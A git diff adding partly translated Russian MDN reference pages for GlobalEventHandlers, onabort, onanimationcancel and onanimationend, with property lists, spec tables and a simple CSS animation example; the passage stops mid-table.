diff --git a/files/ru/web/api/globaleventhandlers/index.html b/files/ru/web/api/globaleventhandlers/index.html
new file mode 100644
index 0000000000..33ecd33dcf
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/index.html
@@ -0,0 +1,213 @@
+---
+title: GlobalEventHandlers
+slug: Web/API/GlobalEventHandlers
+tags:
+  - API
+  - DOM
+  - HTML DOM
+translation_of: Web/API/GlobalEventHandlers
+---
+<div>
+<div>{{ ApiRef("HTML DOM") }}</div>
+</div>
+
+<p>The <strong><code>GlobalEventHandlers</code></strong> interface describes the event handlers common to several interfaces like {{domxref("HTMLElement")}}, {{domxref("Document")}}, {{domxref("Window")}}, or {{domxref("WorkerGlobalScope")}} for Web Workers. Each of these interfaces can implement more event handlers.</p>
+
+<p><code>GlobalEventHandlers</code> is a raw interface and no object of this type can be created.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p>The events properties, of the form <code>onXYZ</code>, are defined on the {{domxref("GlobalEventHandlers")}}, and implemented by {{domxref("HTMLElement")}}, {{domxref("Document")}}, {{domxref("Window")}}, and {{domxref("WorkerGlobalScope")}} for Web Workers.</p>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onabort")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("abort")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onblur")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("blur")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onerror")}}</dt>
+ <dd>Is an {{domxref("OnErrorEventHandler")}} representing the code to be called when the {{event("error")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onfocus")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("focus")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncancel")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("cancel")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncanplay")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("canplay")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncanplaythrough")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("canplaythrough")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onchange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("change")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclick")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("click")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclose")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("close")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncontextmenu")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("contextmenu")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncuechange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("cuechange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondblclick")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dblclick")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondrag")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("drag")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragend")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragend")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragenter")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragenter")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragexit")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragexit")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragleave")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragleave")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragover")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragover")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragstart")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragstart")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondrop")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("drop")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondurationchange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("durationchange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onemptied")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("emptied")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onended")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("ended")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oninput")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("input")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oninvalid")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("invalid")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeydown")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("keydown")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeypress")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("keypress")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeyup")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("keyup")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onload")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("load")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadeddata")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadeddata")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadedmetadata")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadedmetadata")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadstart")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadstart")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousedown")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mousedown")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseenter")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseenter")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseleave")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseleave")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousemove")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mousemove")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseout")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseout")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseover")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseover")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseup")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseup")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousewheel")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mousewheel")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandler.onmozfullscreenchange")}} {{non-standard_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("fullscreenchange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandler.onmozfullscreenerror")}} {{non-standard_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("fullscreenerror")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpause")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pause")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onplay")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("play")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onplaying")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("playing")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerdown")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerdown")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointermove")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointermove")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerup")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerup")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointercancel")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointercancel")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerover")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerover")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerout")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerout")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerenter")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerevent")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerleave")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerleave")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerlockchange")}} {{experimental_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerlockchange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerlockerror")}} {{experimental_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerlockerror")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onprogress")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("progress")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onratechange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("ratechange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onreset")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("reset")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onscroll")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("scroll")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onseeked")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("seeked")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onseeking")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("seeking")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselect")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("select")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onshow")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("show")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsort")}} {{experimental_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("sort")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onstalled")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("stalled")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsubmit")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("submit")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsuspend")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("suspend")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontimeupdate")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("timeupdate")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onvolumechange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("volumechange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onwaiting")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("waiting")}} event is raised.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface defines no method.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Pointer Lock', '#extensions-to-the-document-interface', 'Extension of Document')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>Adds <code>onpointerlockchange</code> and <code>onpointerlockerror</code> on {{domxref("Document")}}. It is experimentally implemented on <code>GlobalEventHandlers</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#globaleventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#globaleventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Added <code>onsort</code> since the {{SpecName("HTML 5")}} snapshot.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#globaleventhandlers", "GlobalEventHandlers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>GlobalEventHandlers</code> (properties where on the target before it).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.GlobalEventHandlers")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{domxref("Element")}}</li>
+</ul>
diff --git a/files/ru/web/api/globaleventhandlers/onabort/index.html b/files/ru/web/api/globaleventhandlers/onabort/index.html
new file mode 100644
index 0000000000..dbe49a0079
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onabort/index.html
@@ -0,0 +1,100 @@
+---
+title: GlobalEventHandlers.onabort
+slug: Web/API/GlobalEventHandlers/onabort
+translation_of: Web/API/GlobalEventHandlers/onabort
+---
+<div>{{ ApiRef("HTML DOM") }}</div>
+
+<h2 id="Summary" name="Summary">Summary</h2>
+
+<p>Обработчик событий, позволяющий прерывать события объекта <strong>window</strong>. (Недоступен для<strong> Firefox 2</strong> и <strong>Safari</strong>).</p>
+
+<p>TODO define what "abort" is. Closing the window via window manager? Stopping the load of the page? By which means and reasons (user, network/server)? At which stages would it fire / be catched? Для IE, событие <strong>onabort</strong> доступно только для тега <code>img</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">window.onabort = <em>funcRef</em>
+</pre>
+
+<ul>
+ <li><code>funcRef</code>: Reference to a function</li>
+</ul>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:js">window.onabort = function() {
+  alert("Load aborted.");
+}</pre>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onabort','onabort')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/globaleventhandlers/onanimationcancel/index.html b/files/ru/web/api/globaleventhandlers/onanimationcancel/index.html
new file mode 100644
index 0000000000..c1b865945d
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onanimationcancel/index.html
@@ -0,0 +1,247 @@
+---
+title: GlobalEventHandlers.onanimationcancel
+slug: Web/API/GlobalEventHandlers/onanimationcancel
+translation_of: Web/API/GlobalEventHandlers/onanimationcancel
+---
+<div>{{APIRef("CSS3 Animations")}}</div>
+
+<p>Обработчик события {{event("animationcancel")}} . Это событие вызывается когда CSS Анимация (<a href="/en-US/docs/Web/CSS/CSS_Animations">CSS Animation</a>) неожиданно прерывается (иными словами, в любой момент, когда анимация прекращает воспроизведение, не отправляя событие завершения {{event("animationend")}} ), например, когда изменяется {{cssxref("animation-name")}}, анимация удаляется или когда элемент с анимацией оказывается скрыт  (непосредственно сам элемент, или другой элемент, содержащий его) средствами CSS. </p>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox">var <em>animCancelHandler</em> = <em>target</em>.onanimationcancel;
+
+<em>target</em>.onanimationcancel = <em>{{jsxref("Function")}}</em>
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<p>Функция {{jsxref("Function")}} вызывается когда {{event("animationcancel")}} происходит событие, указывающее, что CSS анимация запустилась на объекте <em>target</em>, где объект <em>target</em> object это HTML элемент ({{domxref("HTMLElement")}}), документ ({{domxref("Document")}}), или окно ({{domxref("Window")}}).  Эта функция принимает один параметр {{domxref("AnimationEvent")}} - объект, описывающий событие, которое произошло.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<h3 id="HTML_content">HTML content</h3>
+
+<pre class="brush: html">&lt;div class="main"&gt;
+  &lt;div id="box" onanimationcancel="handleCancelEvent(event);"&gt;
+    &lt;div id="text"&gt;Box&lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="button" id="toggleBox"&gt;
+  Hide the Box
+&lt;/div&gt;
+
+&lt;pre id="log"&gt;&lt;/pre&gt;</pre>
+
+<h3 id="CSS_content">CSS content</h3>
+
+<div class="hidden">
+<pre class="brush: css">:root {
+  --boxwidth:50px;
+}
+
+.main {
+  width: 300px;
+  height:300px;
+  border: 1px solid black;
+}
+
+.button {
+  cursor: pointer;
+  width: 300px;
+  border: 1px solid black;
+  font-size: 16px;
+  text-align: center;
+  margin-top: 0;
+  padding-top: 2px;
+  padding-bottom: 4px;
+  color: white;
+  background-color: darkgreen;
+  font: 14px "Open Sans", "Arial", sans-serif;
+}
+
+#text {
+  width: 46px;
+  padding: 10px;
+  position: relative;
+  text-align: center;
+  align-self: center;
+  color: white;
+  font: bold 1.4em "Lucida Grande", "Open Sans", sans-serif;
+}
+
+ </pre>
+</div>
+
+<p>Опустим некоторые фрагмнты CSS, не имеющие значение для нас, и рассмотрим стили для элемента, который мы анимируем. Это блок box со всеми своими свойствами, включая определенную анимацию {{cssxref("animation")}}. Мы продолжим и опишем анимацию прямо здесь, поскольку обычно она должна запускаться непосредственно при загрузке страницы, не зависимо от какого-либо другого события. </p>
+
+<pre class="brush: css">#box {
+  width: var(--boxwidth);
+  height: var(--boxwidth);
+  left: 0;
+  top: 0;
+  border: 1px solid #7788FF;
+  margin: 0;
+  position: relative;
+  background-color: #2233FF;
+  display: flex;
+  justify-content: center;
+  animation: 5s ease-in-out 0s infinite alternate both slideBox;
+}
+
+</pre>
+
+<p>Далее описываются ключевые кадры анимации, которые выводят содержимое из верхнего левого угла окна в нижний правый угол.</p>
+
+<pre class="brush: css">@keyframes slideBox {
+  from {
+    left:0;
+    top:0;
+  }
+  to {
+    left:calc(100% - var(--boxwidth));
+    top:calc(100% - var(--boxwidth))
+  }
+}
+</pre>
+
+<p>Поскольку анимация описывается как бесконечное число раз, поочередное попеременное направление, поле будет скользить назад и вперед между двумя углами до тех пор, пока не остановится или страница не будет закрыта.</p>
+
+<h3 id="JavaScript_content">JavaScript content</h3>
+
+<p>Прежде чем перейти к коду анимации, мы определяем функцию, которая регистрирует информацию в поле на экране пользователя. Мы будем использовать это, чтобы показать информацию о полученных событиях. Обратите внимание на использование {{domxref ("AnimationEvent.animationName")}} и {{domxref ("AnimationEvent.elapsedTime")}}, чтобы получить информацию о произошедшем событии.</p>
+
+<pre class="brush: js">function log(msg, event) {
+  let logBox = document.getElementById("log");
+
+  logBox.innerHTML += msg;
+
+  if (event) {
+    logBox.innerHTML += " &lt;code&gt;"+ event.animationName +
+        "&lt;/code&gt; at time " + event.elapsedTime.toFixed(2) +
+        " seconds.";
+  }
+
+  logBox.innerHTML += "\n";
+};
+
+
+</pre>
+
+<p>Затем мы устанавливаем обработчик событий <code>handleCancelEvent() - функцию</code>, которая вызывается в ответ на событие {{event("animationcancel")}}. Все, что мы делаем здесь - это выводим информацию в консоль, но вы можете использовать это для запуска новой анимацию или других эффектов, связанных с окончанием некоторой операции.</p>
+
+<pre class="brush: js">function handleCancelEvent(event) {
+  log("Animation canceled", event);
+};
+
+</pre>
+
+<p>Теперь добавим переключение {{cssxref("display")}} между <code>"</code><code>flex"</code> и <code>"</code><code>none"</code> и установим обрабочик события щелчка {{event("click")}} на кнопке "Hide/Show":</p>
+
+<pre class="brush: js">document.getElementById('toggleBox').addEventListener('click', function() {
+  if (box.style.display == "none") {
+    box.style.display = "flex";
+    document.getElementById("toggleBox").innerHTML = "Hide the box";
+  } else {
+    box.style.display = "none";
+    document.getElementById("toggleBox").innerHTML = "Show the box";
+  }
+});
+</pre>
+
+<p>Таким образом переключение стилей элемента <code>display: none</code> приводит к прерыванию анимации.  In browsers that support {{event("animationcancel")}}, the event is fired and this handler is called.</p>
+
+<div class="note">
+<p>At this time, no major browser supports <code>animationcancel</code>.</p>
+</div>
+
+<h3 id="Result">Result</h3>
+
+<p>Assembled together, you get this:</p>
+
+<p>{{ EmbedLiveSample('Example', 500, 400) }}</p>
+
+<p>If your browser supports <code>animationcancel</code>, hiding the box using the button will cause a message to be displayed about the event.</p>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Animations','#eventdef-animationevent-animationcancel','onanimationcancel')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(54)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(54)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{event("animationcancel")}} event this event handler is triggered by.</li>
+ <li>{{domxref("AnimationEvent")}}</li>
+</ul>
diff --git a/files/ru/web/api/globaleventhandlers/onanimationend/index.html b/files/ru/web/api/globaleventhandlers/onanimationend/index.html
new file mode 100644
index 0000000000..babeb4f738
--- /dev/null
+++ b/files/ru/web/api/globaleventhandlers/onanimationend/index.html
@@ -0,0 +1,109 @@
+---
+title: GlobalEventHandler.onanimationend
+slug: Web/API/GlobalEventHandlers/onanimationend
+translation_of: Web/API/GlobalEventHandlers/onanimationend
+---
+<div>{{APIRef("CSS3 Animations")}}</div>
+
+<p>Обработчик события {{event("animationend")}}. Это событие вывзывается когда <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS анимация</a> достигает конца своего активного периода, который вычисляется как ({{cssxref("animation-duration")}} * {{cssxref("animation-iteration-count")}}) + {{cssxref("animation-delay")}}.</p>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox">var <em>animEndHandler</em> = <em>target</em>.onanimationend;
+
+<em>target</em>.onanimationend = <em>{{jsxref("Function")}}</em>
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>A {{jsxref ("Function")}} вызывается, когда происходит событие {{event ("animationend")}}, указывающее, что анимация CSS начинается с цели, где целевой объект является HTML-элементом ({{ Domxref ("HTMLElement")}}), документ ({{domxref ("Document")}}) или окно ({{domxref ("Window")}}). Функция получает в качестве входного параметра один параметр: {{domxref ("AnimationEvent")}} объект, описывающий событие, которое произошло.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>{{Page("/en-US/docs/Web/API/GlobalEventHandlers/onanimationstart", "Example")}}</p>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Animations','#eventdef-animationevent-animationend','onanimationend')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Microsoft Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+   <td>{{CompatGeckoDesktop(51)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
